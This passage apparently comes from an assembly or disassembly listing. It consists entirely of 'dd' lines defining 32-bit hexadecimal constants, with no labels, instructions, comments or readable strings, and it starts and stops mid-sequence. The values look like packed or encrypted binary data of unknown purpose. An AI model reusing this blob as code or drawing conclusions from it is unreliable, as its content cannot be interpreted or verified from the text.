3F1F0B5h, 4F6606CDh, 0D0B8F317h, 0E43BF8A9h dd 0DDFE81B6h, 3C23DE4Eh, 1D8CC4F0h, 404A2FB7h, 0C0725942h dd 0EB7699D8h, 7704C53Ah, 8DD57D00h, 3C145DFEh, 42801C76h dd 0D7EC80C8h, 282DC771h, 4D255700h, 7A21BA8Ah, 0B8F73C65h dd 0CE52D703h, 5998F0FCh, 6E01A19Bh, 9663FF6Fh, 94D03B7Bh dd 2D950E26h, 69205A14h, 0F7880B9Ch, 0CEB2C561h, 0EF40DA35h dd 77BBCE4h, 0AAB6C2A3h, 66919053h, 7C1D20CFh, 2DC7080Bh dd 0CD619B3Ch, 87D44F74h, 314D072Ch, 646DF460h, 32388088h dd 0E90128C4h, 6E299F45h, 0E840E78Ch, 7C79C16h, 87882F14h dd 0A4BC60F7h, 0A20C5E7Dh, 21159A97h, 0D2300B8h, 0AD2AAF11h dd 0FC00C62Bh, 0AECA6E0h, 3AB4DAA3h, 1900C01Dh, 1D7BC94h dd 3C01B5C4h, 92248197h, 88808956h, 0A3CF1F7Dh, 6E1D6AE8h dd 611DEDD8h, 7119DE02h, 179C6851h, 0DFE87446h, 41C9C058h dd 8CE38AB8h, 2F254D1Dh, 68489640h, 3E1156Ah, 0EECFAED7h dd 0B3E8CD33h, 0A400D931h dd 69E49C07h, 0CB7652h, 342237CFh, 0B10C7D62h, 0B4AA38h dd 532C97DCh, 3CFFD12h, 7D6B5B96h, 0EFF8DB06h, 6FF641C3h dd 9F397F3Ah, 684061F5h, 9957BCFAh, 1835EE5Ah, 98EC7582h dd 1729AE8Bh, 470688EAh, 31D121FBh, 36F098BDh, 9B88D0BBh dd 0F14A050h, 0B5B1D901h, 2E4AE222h, 0E82FFE80h, 8DC8666Eh dd 3C01C214h, 0DBB11F9Ah, 0A0D2D0CFh, 9755E7F0h, 6CCDF740h dd 171BEFCh, 7FF807E4h, 0C9297924h, 7DA0EFFBh, 0C712C250h dd 820888Ch, 27CFC54h, 5D849734h, 15C3C87Fh, 808B09A1h dd 1F583D20h, 6AF1Ch, 7BA99E56h, 0EAB4DC05h, 5524EB01h dd 0F952DA02h, 92667D4h, 7D4F349Dh, 0ACCDE280h, 4E0004F2h dd 0DCCB415Eh, 52154B1Bh, 0FA0088AEh, 0E689C24Dh, 960BD5CDh dd 5E413D5Ah, 0A6320090h, 6DF2C5C0h, 85E4D801h, 28563F62h dd 3DD0CACDh, 56573DCh, 0B4CCA60Dh, 5F2C7C14h, 945921D8h dd 0A8260016h, 0A7BFD158h, 0C8005999h, 27B36244h, 1CC2F8F7h dd 22F15D07h, 0E7A0DA50h, 4234721h, 0C44B122Bh, 96A03894h dd 0F87CC700h, 746CB95Ch, 0DC020750h, 85A0B8h, 369C14BAh dd 0FC3832F6h, 0D4B10792h, 816BE9A8h, 24E42DC4h, 226064h dd 0EBD4645h, 0CC07EC5Bh, 8F71633h, 652100AEh, 455EBE73h dd 291DB1E3h, 790202C0h, 8078152Fh, 0C8B06C98h, 0E7D500B2h dd 34BD6245h, 1209B7D3h, 78047479h, 1A9B0096h, 21A548DBh dd 1198DE29h, 98AEFE00h, 77B11138h, 3BE2A6h, 0BD26BA23h dd 0B0B48BE9h, 372A8400h, 6BBE7A2Eh, 292B0404h, 800396C2h dd 1DA28111h, 44A9391Dh, 0DF0C4540h, 0E2C7CA6h, 26C1CEAAh dd 4AD024C1h, 4C42FC6Eh, 0F668C05h, 6FC1F196h, 78ECE6A5h dd 107B37h, 94A59C8h, 359D7AAEh, 0FC17E100h, 0B456AFD8h dd 42C300BDh, 50E59E4Eh, 5F00DF4Fh, 2CCCBA0Fh, 1D559h dd 0A85B17D9h, 0EADA265Ah, 2E87BC04h, 278039D0h, 0F91A7FCh dd 3DD234E8h, 0EBE7D40h, 0F7E8781Eh, 0A0D5BA0Fh, 0B4E48071h dd 1ADE5Eh, 0BFEBED54h, 0B03324A6h, 3418627Bh, 588C927h dd 0CCB100BCh, 8C58A78Eh, 0B6785A39h, 80E29C38h, 652E04D6h dd 14AA774Bh, 0B4D2B498h, 1A8FCC00h, 4E0D48E6h, 234DB000h dd 98A0E29Fh, 0FA9A0088h, 0F8391CB8h, 0BE05ECC8h, 845ABC14h dd 6C3F642Bh, 0AB260043h, 2FDB889Fh, 63C70055h, 0D6891D62h dd 81E070Eh, 0C20C528Ah, 0C3B859h, 0C9E72A23h, 0D1C46D66h dd 0AFA0CF50h, 85464C00h, 39D5ABDh, 1AB005Ch, 2C2782C5h dd 54005F45h, 719F8D4Eh, 0A82F49h, 0EC74FFF2h, 0EF09E25Ah dd 5100C9FAh, 0EEEA7AE7h, 68DAC39h, 849B5856h, 79FA2074h dd 0F7012876h, 7D57F18Ah, 0E9F0EA68h, 4BCA0D09h, 0CC287796h dd 1203838Ch, 46D54FADh, 1197DF5h, 0A1387A34h, 0C895796Ch dd 7300FC6Eh, 5E68C6BFh, 0ECE5C53Dh, 618018FEh, 7FEF58F1h dd 0F3DE253Bh, 9A303B00h, 0F5A3BDE3h, 0BE21C086h, 0CEA2D2CAh dd 0D7F93C03h, 0E8F26313h, 26AC01h, 94510C4Bh, 0C3876A75h dd 0DAD4E518h, 0C1BB4D0h, 9BE3A9C8h, 6B05E9A1h, 279C3AEDh dd 2900F51Eh, 0C02C4AFAh, 920C07A3h, 430964F4h, 20001411h dd 3C4B06B4h, 2E75F128h, 3EC593h, 0BDDA508Ah, 186167EAh dd 3DED6960h, 2EF2C48h, 0CBC0E8B0h, 6A10F728h, 0B388C3EDh dd 0F0EFB20Eh, 0E28E4469h, 0F198B830h, 737FEAh, 0EEBE952Ah dd 0E389371Ch, 28F75903h, 1F50CE6h, 0B5E87028h, 8794FD2Fh dd 0D371EF0h, 0B8F7DC73h, 1D743C9h, 8E42A369h, 0F0646F79h dd 86B81A16h, 0B6A11B00h, 0E71E8DF9h, 667EEAh, 0AB3D06CEh dd 2FDD8B3h, 7CBD1924h, 0D683E600h, 1A1748h, 0F4796AAFh dd 0F3D81EA5h, 0DDF6920Eh, 0E02E8EC1h, 5660ED4Bh, 97FF018Ah dd 27FEE2E7h, 0F8CBE168h, 2A0049E4h, 0D4FF41Bh, 0E46355Dh dd 4E372E2Ch, 0C7D14145h, 0ECE68091h, 4C00E8B6h, 211DDAD5h dd 378F149h, 0B5759D5Dh, 387B5386h, 9ED0C600h, 6D186C1Ch dd 8D140084h, 0F943F480h, 27AE742h, 0A4B79F16h, 93B5D000h dd 0EFCE4Ah, 4C895B60h, 215E3413h, 49DAAE00h, 0F86A46E4h dd 0F17B0088h, 71E90B6Fh, 0FE3998A2h, 0C0910050h, 0ADA436B9h dd 80E40708h, 601E1F3Eh, 0E5844DBh, 18353A00h, 3F52FBDCh dd 5A2E3A78h, 40B7281Fh, 7315A8DEh, 100DB4Eh, 82143831h dd 682CB6h, 6B5430Ah, 269905E3h, 4B72C31Dh, 7F8B9D80h dd 9BF293Bh, 0B154E9C7h, 8A326520h, 3D00520Ah, 95A93AE0h dd 185D5C3h, 0CA61B858h, 0D775D925h, 23CC9EB0h, 9DEA3C00h dd 0C358AD97h, 0D62A003Bh, 141EED0Ah, 73EADAFEh, 1D85CB02h dd 0C00955BAh, 72E3BDEAh, 9095005Bh, 0F9D8033h, 9400488Ah dd 4FE763D8h, 79A51FCh, 2DC8AE3Eh, 7545F0A8h, 810087CCh dd 99B5C331h, 1E0485h, 5D9253CFh, 0BC94F91Bh, 20399801h dd 0F0DF749Ah, 314CEE8h, 57FBA023h, 48F8357Eh, 8B001056h dd 0A829E889h, 646DCCh, 818D692Bh, 32AED072h, 0A90FD673h dd 2050A85Fh, 517E08CAh, 930E0FA3h, 8B206E0Fh, 8043FA01h dd 2CE1A83Ch, 21008495h, 0C07AB8F0h, 8A380034h, 0D26C764Ch dd 77006586h, 8194A659h, 36A7B78h, 58F21474h, 4800DD2Ah dd 0A2122F24h, 7F853Eh, 0C60C7BB3h, 43E283DAh, 86BD1A24h dd 0DFA69400h, 6042C133h, 0F807119Bh, 6B004E81h, 8F7B308Eh dd 792217Fh, 8A16CA91h, 3CFB10E5h, 0F2C054C1h, 804C2994h dd 9E58178Dh, 0D893A1D0h, 0A902C33Dh, 8F2160A6h, 0C7B4E08Ch dd 0C1250E4Ch, 0B7007161h, 119D9894h, 0E70FA228h, 0CD2830D8h dd 0F7DB00C7h, 0E7D93246h, 0CF007FCCh, 0A33DA184h, 5E90B0h dd 12C781Bh, 0C1C86F6Ch, 18B11200h, 9F9685E0h, 0B4470099h dd 87FAAB6Dh, 16264953h, 79012855h, 3FAF3CB7h, 60D648C8h dd 290C1970h, 0E3017739h, 0B01399A6h, 6FC4F2AAh, 67620060h dd 573B5233h, 49000DFBh, 0C178DADh, 0A82A47h, 0B3D8E43Eh dd 0EE8E7583h, 8D16F200h, 816D4E28h, 2487001Ah, 5BE01205h dd 6400DC06h, 68C78D4Fh, 36B599h, 331E07C1h, 5942776Bh dd 9210E200h, 0E8581715h, 0E43C1D57h, 2D564FF3h, 0A0C4A2E7h dd 980A4D85h, 0F8AB1D00h, 2E756E3Ah, 5CBE00E1h, 96ED2202h dd 243C47AAh, 0D7007C4Fh, 1A305759h, 0B7408Ch, 9C4D04A8h dd 27D8FE89h, 23B4D500h, 15E769C5h, 146E28Eh, 8F80267Bh dd 0C40A766Bh, 0C000FA4Ah, 6C85C47Ch, 811C03h, 8E59C5F4h dd 0CC6799B0h, 0DB55B500h, 0D01E0554h, 93C8002Dh, 0EEC0566Ch dd 0E9FC07D4h, 1282D300h, 197E2E54h, 0E0930035h, 0D8F18B2Dh dd 0A800A7FBh, 0CB8D12D4h, 2BC23AFh, 0D6685AFDh, 602BC0h dd 0D801D018h, 0CB114480h, 5034720Eh, 2A480795h, 0E0D08DD3h dd 6A94C8D1h, 7100807Bh, 0F7EA3607h, 8DC670h, 0E6AF3AC0h dd 256A0EE4h, 0FD538000h, 0F6F9D384h, 7509009Dh, 7FC8FE13h dd 0AA003E6Dh, 32834001h, 3B52B07Ah, 0C43BE56Bh, 34B6887h dd 771990C6h, 2100560Ch, 6FCBF069h, 7DEE12h, 0E70301B4h dd 189591EBh, 429B0F00h, 5986CA9h, 0C2B10190h, 0E2AF291Eh dd 5CD030E5h, 9541F100h, 543139FAh, 0BBBA03A4h, 7D178FCh dd 0F8AA5A89h, 82007D96h, 8D2D3C49h, 0EF9C65h, 7C1E3508h dd 0A159ED5Dh, 0F600727Bh, 0FCD8E03h, 2C61140h, 0BA805332h dd 18643ECCh, 9FB97D00h, 0A62527CFh, 630900C4h, 240A60CCh dd 0C48157Eh, 80303D34h dd 72072AA7h, 546FECh, 0A56B1011h, 0D34E41D5h, 75DA7A04h dd 59C00762h, 0DCF63BC1h, 8D9900DAh, 0B6B11164h, 4ABF8603h dd 0FBFDF366h, 0D365E33Dh, 0ED41980Fh, 0AB3B0910h, 0A898BDACh dd 75009985h, 0C391D863h, 4461682h, 0A6A2563Fh, 0C178C071h dd 0B700AAA9h, 188FBDE4h, 0FB44073h, 97516D2Ch, 9128FA83h dd 45041280h, 0AC85DE24h, 0C016DB01h, 18E0E71Dh, 0C627045Ah dd 83C9C5EFh, 35A86406h, 4A00795Bh, 135AACB3h, 0C7FAFFD5h dd 51768050h, 600C9BDFh, 703B6B4Ch, 514F92C8h, 82839802h dd 28A0A008h, 0F37759Ah, 981D2157h, 34978FC0h, 7B3AC264h dd 8770B838h, 0BDB28E35h, 8A3B0A90h, 0EE6800CDh, 0EC6C0C55h dd 0E3C300Dh, 545DAC92h, 7A87E440h, 9A930065h, 0BFC1BC0Bh dd 0A7042BCAh, 1C30030Fh, 0E10E9F80h, 901E0126h, 0EEF381F5h dd 0B8F4050h, 2B01FAAFh, 1202BC7Eh, 74C0F6DBh, 5FE20027h dd 284D9F6Ah, 0FD90834Ch, 1A016E7Fh, 17C00591h, 88C8A527h dd 2C3A3DC1h, 7DD8D0h, 7E7F1D9Fh, 9495FEECh, 0B240E300h dd 0E608A3CAh, 522A008Fh, 7ECA041h, 30916896h, 7F6F5000h dd 5AEF37h, 0D49CE36Eh, 0CB55FAF4h, 1FF59F00h, 0EE1AA2DAh dd 0DDB9005Bh, 51949E6h, 0B503BCD7h, 0E117DB2Ch, 396BC092h dd 3C5400CAh, 584A8773h, 0DE00D45Dh, 0D9F957C7h, 4D0340h dd 907CC5AAh, 19609238h, 0C0B4A101h, 8F6CBC45h, 7284E0h dd 14F7F05Ah, 0DC4203FFh, 0ED992A00h, 20A9859Eh, 8B5728FEh dd 6701E83h, 1B9B0060h, 6D9280AFh, 43000090h, 95275073h dd 1DCB4FD1h, 4713B54h, 0CC7B03B8h, 0A53AFF98h, 72420355h dd 8685E3B4h, 0D7860021h, 37DF0212h, 5201F46Ch, 0D2BFA191h dd 0DC2009B8h, 78D02487h, 0DC003C80h, 68334BDEh, 0FF014F0Bh dd 86E0B8FDh, 208699C5h, 39D7C094h, 58D66302h, 0C02D18B3h dd 183F6DC9h, 0B861A845h, 0D719A580h, 0AE388742h, 968BFCh dd 0DA833BEDh, 0BCAA199Eh, 7F49C300h, 5F169097h, 67E6011Ah dd 46825D6Ch, 668B9C5h, 0F4307E8Fh, 51F048h, 0B5EB94DDh dd 485B7176h, 36FEA718h, 2138269h, 0DF27DA8Ah, 64EBDE61h dd 0E3A8A6C0h, 22BA3Ch, 9A429406h, 3314BBh, 2E5D7731h dd 99D76DA1h, 0E6915F02h, 60E57AA6h, 7027B73Bh, 849A005Ah dd 9B5CEA6Dh, 0C8001BE0h, 0B3708AB1h, 8DA572h, 484A0476h dd 558E8C68h, 0E141B803h, 0A0AE8337h, 8147A0h, 7B654586h dd 2C5BC4A5h, 0A9C55F1Ch, 0B7C2680h, 1CDCE96Ch, 0BDF02567h dd 9C784D1Dh, 0FDA0C0AEh, 0DCAAECE8h, 6865EB07h, 0F65BC15Ah dd 99003F95h, 0E754D32h, 7D0010CAh, 51C5EAEEh, 547C3B9h dd 4D4ED32Eh, 0A0A00027h, 30779F66h, 1ACB8603h, 0A2DE35DCh dd 1E38496Fh, 0E4289FF8h, 0EA1D7BB6h, 54892870h, 0F84800A4h dd 3E050CD2h, 2D00FACBh, 0FEC01F79h, 8886Ch, 800AE075h dd 912BA1D3h, 130603Ch, 2067C361h, 0F9D48192h, 243E45Bh dd 2CCDA7D3h, 1848912Eh, 71068B24h, 4F5F69B0h, 4CA91F10h dd 0AA28809Bh, 1A5DD266h, 91D508CCh, 9E0116C9h, 199A0018h dd 0FFB0F2F6h, 0C503D49h, 284EBECDh, 462F006Fh, 0C2DFFB05h dd 650237CEh, 0FCAF26E7h, 7B1BC15Dh, 238024h, 0ED271620h dd 94C77803h, 1086E53Ah, 7B9A1Fh, 11411622h, 0B395042Eh dd 960C60F8h, 796FD457h, 869800FFh, 2FA82D81h, 0AF07F323h dd 1075E002h, 852296C4h, 6814A833h, 81CB1092h, 99FB84DEh dd 1348DA00h, 5A0323CFh, 54A37D17h, 972AA829h, 0EDA80021h dd 4FB490BFh, 6500DB61h, 9B0460E5h, 1F46FFB7h, 7706E0h dd 83963F4Dh, 5B00D85Eh, 45AAFCDEh, 3A78B0D1h, 430019D4h dd 7332DBE4h, 9271A281h, 8F0048E6h, 1AB9384Dh, 32AA38Dh dd 0CBB8E0FFh, 7688E81Dh, 0D507BB86h, 73C0BE9Ch, 96F15A70h dd 13900E9h, 77813F6Bh, 51C7D49h, 67005E7Fh, 8AB8506Fh dd 29A40F39h, 53CCE2h, 80B3EBEBh, 0A30F5BE7h, 0E08A9519h dd 6F23018Dh, 0E5790010h, 2037FD58h, 0CB008091h, 3B036EA7h dd 0CA823Dh, 0FE34BCC2h, 0FD94A428h, 0E2AC8B00h, 0BED1EC49h dd 25D7016Bh, 0EEBC4A71h, 0E9F0C42Bh, 7FDB5101h, 288D36A7h dd 1974F4h, 31039FD1h, 84AFD62Fh, 356753Eh, 0E027F8BBh dd 17A1E047h, 30DDBCh, 52AA242Bh, 0C00EADDBh, 6F71996Fh dd 3C0D005Fh, 36C1C4h, 0CDF033B7h, 5A6CA41Ch, 0DC049428h dd 833F8D00h, 5DC3D628h, 15BE00F7h, 0EDE5576h, 0EE71847Ch dd 0A5F28800h, 0A2629196h, 0F16F00E5h, 6AB27973h, 3E00DB36h dd 0ED11F745h, 0A94235h, 0C3E84A39h, 0E3BC6E21h, 38058924h dd 23288B00h, 0ED1024h, 587C74AFh, 866A1C36h, 81A70904h dd 2680686Bh, 5FAFF4h, 959A0784h, 99040DF2h, 6B6FBC05h dd 5DC03193h, 0BE842Dh, 0CCD6C6E1h, 86D54D09h, 8D006770h dd 6F74CE23h, 33B9963h, 0C86626F0h, 0A5C07853h, 8E00322Ch dd 14A4AC0Bh, 78B4E3CFh, 0CEA0009Dh, 0B35A2513h, 0BC61AB1Dh dd 822C0C10h, 0A33C2880h, 0D8A8D24Bh, 25D42800h, 6855E2BEh dd 3E180071h, 48090AC8h, 4F03ED76h, 34D12337h, 1D59A1E3h dd 0AEE88440h, 58CA005Eh, 0F8B4D6C0h, 3C00977Bh, 0D86C8C20h dd 0FFAE870h, 94EEAF60h, 4D315680h, 0E6018189h, 0A387EB7Bh dd 34E4E5F1h, 0CA963246h, 0B6C36391h, 487F9CA0h, 4BEA200h dd 85E64D72h, 0E80303A6h, 0DF111AF8h, 0CD7AB390h, 0B7CFFF00h dd 2F920495h, 0D1C93039h, 0B3D26E40h, 0ABDA7D0Fh, 0CABB81BDh dd 6880F0A0h, 65BE2636h, 75622E09h, 60AF1778h, 3BDC39h dd 0F21AB7EEh, 4F5EF0D8h, 0C302307h, 581C1575h, 267B00C7h dd 5F8107C4h, 2D0F51F0h, 60024A35h, 1B3605AEh, 261F7720h dd 1F51CFA7h, 7A807F78h, 0FF6E65ABh, 800DE9Ch, 3A104E44h dd 70F248Eh, 0BDEB91DBh, 3AD67A3Ch, 0CE9D4C0Ah, 7E9030D8h dd 7C0102ADh, 25842C60h, 0B9C3FAACh, 98BF13DBh, 0E9080C0Ah dd 78490A88h, 89AD9C84h, 180054FCh, 7090FA4Dh, 0B4FFD207h dd 8BA11F11h, 4081530Dh, 0EAD59B4Bh, 0FF4820F7h, 482CF354h dd 866CE844h, 79405078h, 715D2296h, 0F82E2530h, 0A0A8BF0Dh dd 4040C22Ch, 1542972Fh, 858D811h, 0BED24BD0h, 123E5D22h dd 2AF445F1h, 0DCE02C8h, 7275630Bh, 1E71EE00h, 0D9FF7B8Dh dd 0FD145998h, 70840106h, 1365F909h, 0BD21B4AEh, 0D8CF0F9h dd 0A345721h, 9A84CA6Ah, 0FC01402Fh, 80A7F17Dh, 43072EA9h dd 7ADBC9h, 0F7B1891Dh, 947F5EE9h, 0CEFEAC18h, 142707D8h dd 0C0577577h, 0B9DC9D01h, 809490F2h, 70BD268h, 28B53B2Fh dd 3990561Bh, 5F8012D5h, 0C2500281h, 0B8FAE96Eh, 8C7888E2h dd 0A9EBAD1Fh, 47B24BBh, 36662307h, 0F09965D3h, 606EAB56h dd 15A39892h, 0FD0DB173h, 0EE8CFAA8h, 12DA02CCh, 402F0976h dd 0B2933C7Ch, 1E008356h, 14F85931h, 481366BDh, 8E0FC4DAh dd 0EC601989h, 2B7509D0h, 0BB5F7C00h, 77A911A2h, 449772Fh dd 5C2C580Fh, 6458919Fh, 1594408Ah, 2F488720h, 5B2B0508h dd 8C0A65C7h, 7B818064h, 0A4D117D4h, 0DC4C13E9h, 0A6C278B2h dd 0A2492AA4h, 870D00BCh, 0D0541ABFh, 7200926Bh, 20BAAC01h dd 3B7C059h, 30E61B9Ch, 91A08998h, 877197F0h, 5C6E5D00h dd 8DA636Bh, 0E0FA09h, 7C480485h, 32861F8Dh, 6FA37B00h dd 0E2582074h, 5E990038h, 3FF45755h, 96006CF3h, 0C135BD9Eh dd 0ECD3B70h, 90F01771h dd 6CAB23A0h, 41005CE2h, 0CBE8AE2Fh, 0F264A080h, 58D60359h dd 8F7CF914h, 4D8330B0h, 0CE203Ch, 0CDF87AFCh, 0D581EBh dd 0C344A552h, 9FE56EBFh, 0FED89B09h, 3CC00025h, 0A3FC6Bh dd 0F72E15B6h, 88B45512h, 0CE38B10Eh, 83D809Fh, 0FC92053h dd 377847CAh, 94064B20h, 93783FF7h, 0EA95A000h, 0BF2EEC83h dd 41F1001Eh, 317CD1D6h, 20008710h, 0CC56CF69h, 0F8A354h dd 43DAFB38h, 72D47E27h, 62636C1Dh, 153B8600h, 78745CCh dd 0EB7DFBF3h, 54D640FFh, 4000DA65h, 6FB4C9BCh, 0B245DA8h dd 0E2FDD8DDh, 0D42D147Eh, 2BF90011h, 0D920369Ah, 0F1175C0Ch dd 20EE298Eh, 8F2210FFh, 0C6F31988h, 710550A5h, 0BA2880EAh dd 0E0B0DC28h, 3284444Bh, 6C62AE05h, 280E79A8h, 14AD6824h dd 0F67614A7h, 0D16D58F3h, 0B829CF30h, 63801280h, 0E4F74047h dd 0A1C14B44h, 2841CC64h, 2980401Fh, 6E0AD980h, 9244D5A8h dd 5181616Dh, 1F6539Bh, 298DBE68h, 0D4C885C9h, 29F63C71h dd 9A400803h, 0CF3B1690h, 3E426FA0h, 0E888008Dh, 62E29D66h dd 0A62CABEBh, 0ED0793AFh, 0DE60EC21h, 2544DBh, 79D2B16Eh dd 0CD1D304h, 900D390h, 40D4F645h, 57EBFEh, 0D3062B64h dd 0E90B20FAh, 66D9CF00h, 0B4DEA8E8h, 37FB1358h, 0AA3E0055h dd 0DC6FC4DDh, 13FC8000h, 1925DBB6h, 2C8A3C08h, 83B24A01h dd 0D8AB33C9h, 67040131h, 0FF08E6E7h, 0A7FDB7C0h, 629E1EA1h dd 0D98658DAh, 0B600F4DFh, 0DD8264B2h, 8FB970h, 369B4D0Dh dd 35E733D9h, 95BCEF1Fh, 0CD812A40h, 0F55CD1h, 33ADE15Eh dd 0D5C5E2ACh, 16F0BE00h, 0A26B1FDFh, 70E90E41h, 2E803FC4h dd 0E79E873Eh, 88986C00h, 28AFDE61h, 521900B0h, 3791DCC0h dd 3C0EC815h, 5DFC0431h, 0E045B600h, 0F4551730h, 9CDB00E1h dd 93F58F20h, 232C7722h, 2700C77Ah, 35F830F9h, 74FF0062h dd 4639F5C2h, 16012D71h, 0A28445EDh, 0B661A0CCh, 7CAD3CCh dd 68839ACBh, 2BEFE031h, 4F1D3B6Fh, 71850150h, 0C8071E89h dd 0BE10AC5Bh, 117A1F4h, 6B6FEA3Dh, 0E82CE997h, 0CD007E06h dd 36AD133h, 728392Dh, 8F70E8B9h, 848E31F7h, 665C80EEh dd 0D52EDC63h, 7A6BF067h, 6C203D12h, 0B0921400h, 0B67AFEA3h dd 5D92603h, 0B879B11Fh, 1CD0912Ah, 80BB1552h, 7DBEE4Fh dd 0FA17A7CEh, 3B00B26Eh, 0E9922E4Eh, 1F69B066h, 0C1A3B51Eh dd 38EF48E3h, 0E911F1C7h, 0D595D096h, 0A4AA6D00h, 235036Eh dd 94EC5859h, 4094981Fh, 0F71BADFFh, 0B10090BAh, 0CA27B91h dd 7020465h, 0CEA7AC9Fh, 7C9F1E26h, 0C29D5101h, 30C8CD55h dd 4A0E522Ch, 0C01AEA08h, 3683A919h, 486D142Eh, 8000CD50h dd 0B141D891h, 7B3F960Fh, 0EA22ACC5h, 8D131E00h, 926CEDh dd 99E38B05h, 0D1B6B278h, 81336212h, 8CD61400h, 70B827h dd 0A1B7B4F3h, 0C310F5ECh, 70613839h, 14A56D00h, 73391CE7h dd 884900F8h, 45C08726h, 72075B0Ah, 0E15A213Ch, 4F9425B0h dd 7B0C3B0Eh, 81A43E8Bh, 86CDAA00h, 0DF0349DCh, 45A6AFB0h dd 43282C69h, 0AE823893h, 0F3480601h, 8220CC8Eh, 0C24F6665h dd 889B4E07h, 3F70CD44h, 0F9A0EAh, 0C682B51Ah, 0BC21D3AFh dd 64CC8800h, 39EF5C41h, 0EE730E80h, 0BAA0B212h, 0C026DA03h dd 66417F00h, 42FD3C31h, 17930013h, 30BB0C2Dh, 5C90B92Fh dd 0C5095300h, 29250210h, 0B44F0F1Ah, 9340BF76h, 84DA1131h dd 0AE2E4C03h, 0B867240Dh, 269F85h, 8D80D8C8h, 54596E0Eh dd 9ECE1503h, 9032C686h, 0BBECDBh, 0A417C58Ch, 0F639DF83h dd 4B794FB0h, 7CB1FA00h, 14455662h, 8CB00043h, 0E7D630ECh dd 0AFFC0D24h, 52BB48h, 6FFAD22Dh, 0ADF7A0h, 0E4738736h dd 69B515FDh, 0DF3D0C00h, 0C7CD5D2Eh, 1F6036Fh, 74E3AB7Ch dd 0BA356BA0h, 0FA39CF00h, 923B03B4h, 0AA9F1C83h, 0EE2F43E2h dd 4DD007AEh, 0B90717FEh, 0CC0DB68Ch, 1ECB0101h, 0F07AFDC9h dd 42E83929h, 5248EAEEh, 71D40024h, 76B8E2A8h, 0D24A0F0Dh dd 11402250h, 460E2D14h, 0E7003879h, 4AD635F5h, 0F1B3E9h dd 617319A5h, 0FD01D0Eh, 0C2A8AF01h, 0B2DBE77Fh, 1EE5E0h dd 0A4E47597h, 417EAB93h, 27281902h, 0E0EBF886h, 0BC3E36h dd 72E25BD1h, 0D483998Ah, 5ECBA200h, 463DB43Bh, 0EC4F074Ch dd 8385A52Fh, 0EF906473h, 0B016B1Bh, 0D3FCE29Ch, 85F83CD0h dd 0F27F0A7h, 91835D47h, 0D64131EEh, 0C0593F80h, 0A807AC9Dh dd 0AD0C2175h, 9E7318B0h, 0A16D00E6h, 0DA648140h, 0E7F06F98h dd 35CA0B00h, 50B9051Bh, 0D5EC00EBh, 2C45622h, 2F00EEFCh dd 0C557D91h, 0BC0D29h, 0D69884CBh, 216A2675h, 80EF8F00h dd 28AC1AE0h, 4963166Fh, 0D51C00F3h, 65178FFh, 2C91D158h dd 0A71D3829h, 40259080h, 0C0F667h, 182A9969h, 468206D5h dd 64743C00h, 6BC6C1E9h, 0A53F001Eh, 0AAE0D9A7h, 5100B82Ch dd 13CF41C0h, 5C3BE2D3h, 0D21EDD8Bh, 76E4801Dh, 0CB28ED5Eh dd 90716200h, 5349C339h, 7620F0EFh, 0D36600CCh, 74D2DD8Dh dd 5200F869h, 266B7512h, 9035A006h, 8B0B030Fh, 178FE4A1h dd 0BAE1CB80h, 0F20EBB00h, 0FEEE1EE9h, 0A8AB1F1Ch, 25840041h dd 88999132h, 2644C0E1h, 57376103h, 0D3492Dh, 889F61Ah dd 9410A61Eh, 0DA274E2Ch, 9B7D0F00h, 4A1BB1h, 432983B9h dd 0E51A150Ch, 0A7047B02h, 400A4227h, 0F02297FCh, 180324A0h dd 5E88002Ch, 4A3B9146h, 0ED007098h, 143FE29h, 3B1DBEAh dd 34CC15AAh, 0A1A003EFh, 0AEFCFBA7h, 0C1747902h, 0C021B05Eh dd 0C32A22h, 81A3E1BCh, 7B0445F5h, 0AD5C2D01h, 64E83331h dd 1E6180E4h, 0C075A3DAh, 2C1BC913h, 0DD0743ABh, 0F33B8198h dd 0CB55B310h, 6BEB00A2h, 0A6F4908Dh, 812E9242h, 3B009460h dd 0EEB46163h, 3CBC7819h, 1E803487h, 2D1CD966h, 0F0998242h dd 0AA0B9000h, 3FD7D3h, 0C770DAAFh, 0B73D1C08h, 80E3503Bh dd 0D4726A43h, 2A43376h, 5B27F6A3h, 0FCC0618Eh, 830AFCD9h dd 0A65FBB58h, 459A000h, 558806h, 6E54E74Eh, 1829CB26h dd 336D2B00h, 7556D374h, 1CB6038Dh, 84A8A5C0h, 0C2E5DBB8h dd 0E807F273h, 0ECA66A9Fh, 9CD68830h, 1C400047h, 3F7269A0h dd 84070D81h, 590351DFh, 0B3C04360h, 21883C26h, 9A2D4C00h dd 926A4D0Ah, 0BD366D28h, 2836C03h, 80B40898h, 0C7859h dd 337C219Ch, 0FBB74AC0h, 88A7B600h, 0E9BD9ECh, 0AA110017h dd 0C4CCC146h, 0FB0080E6h, 0FCED622h, 0FA7EAD8h, 576F30F1h dd 0C26093AFh, 8868B769h, 9C1E2CB0h, 370047D8h, 398D066Ah dd 0F523000Ch, 0D760CC8Eh, 0D100F3C0h, 6D117FAAh, 0CED959h dd 98133293h, 2577D354h, 2C99A507h, 3C10A8D5h, 79F266B9h dd 3316019Ch, 0AE1D6EEAh, 0FE67F1F5h, 49E50FC0h, 0AF004F7Bh dd 0A1BD8640h, 1D2784BCh, 0E48998D7h, 0B7B5D068h, 198C7900h dd 0D14E1218h, 0DF4C00C3h, 0BCD50D33h, 0E17FB335h, 779B4700h dd 0CC0B43E4h, 1CCD004Dh, 29E36B04h, 0B400CA91h, 77D6FFD8h dd 0E6F14Eh, 23F0DEB8h, 0F7457BC7h, 0B2821E1Eh, 0A1FEE480h dd 1491920h, 0F4F83217h, 0EBD5BCE5h, 0E99EC3C8h, 73F3D400h dd 0B0618830h, 19BD4C4Fh, 0D708EA00h, 0C5498632h, 80B9403Ch dd 37701D79h, 47431Fh, 96F81839h, 0EE0654A4h, 599D0800h dd 0BA0BFEB5h, 230D01ACh, 0F68C6B6Ah, 36CED01Eh, 6D9F9D00h dd 1775E942h, 2D04009Bh, 8248EAE7h, 8800445Ah, 0C708FEF5h dd 74A0D2h, 96C30452h dd 16BD2B3Eh, 0A84EBC30h, 4C9AE9C5h, 7D00E823h, 9C2EED10h dd 0B2011E5Ch, 7B1F3D89h, 0F0700AD0h, 0B3B11CFCh, 3B738093h dd 5EF72DF0h, 6A5ADE00h, 915C59A1h, 0C3230121h, 0F9E7D153h dd 327070C8h, 30514200h, 40051698h, 9C23005Fh, 0F3D19AF0h dd 37026F2Dh, 0E0A74A53h, 118C60FBh, 847E0036h, 6EFA0413h dd 311DAF8Fh, 6C8B4C4Eh, 0B1400DBh, 0FEA37Eh, 7FE8AB10h dd 47756692h, 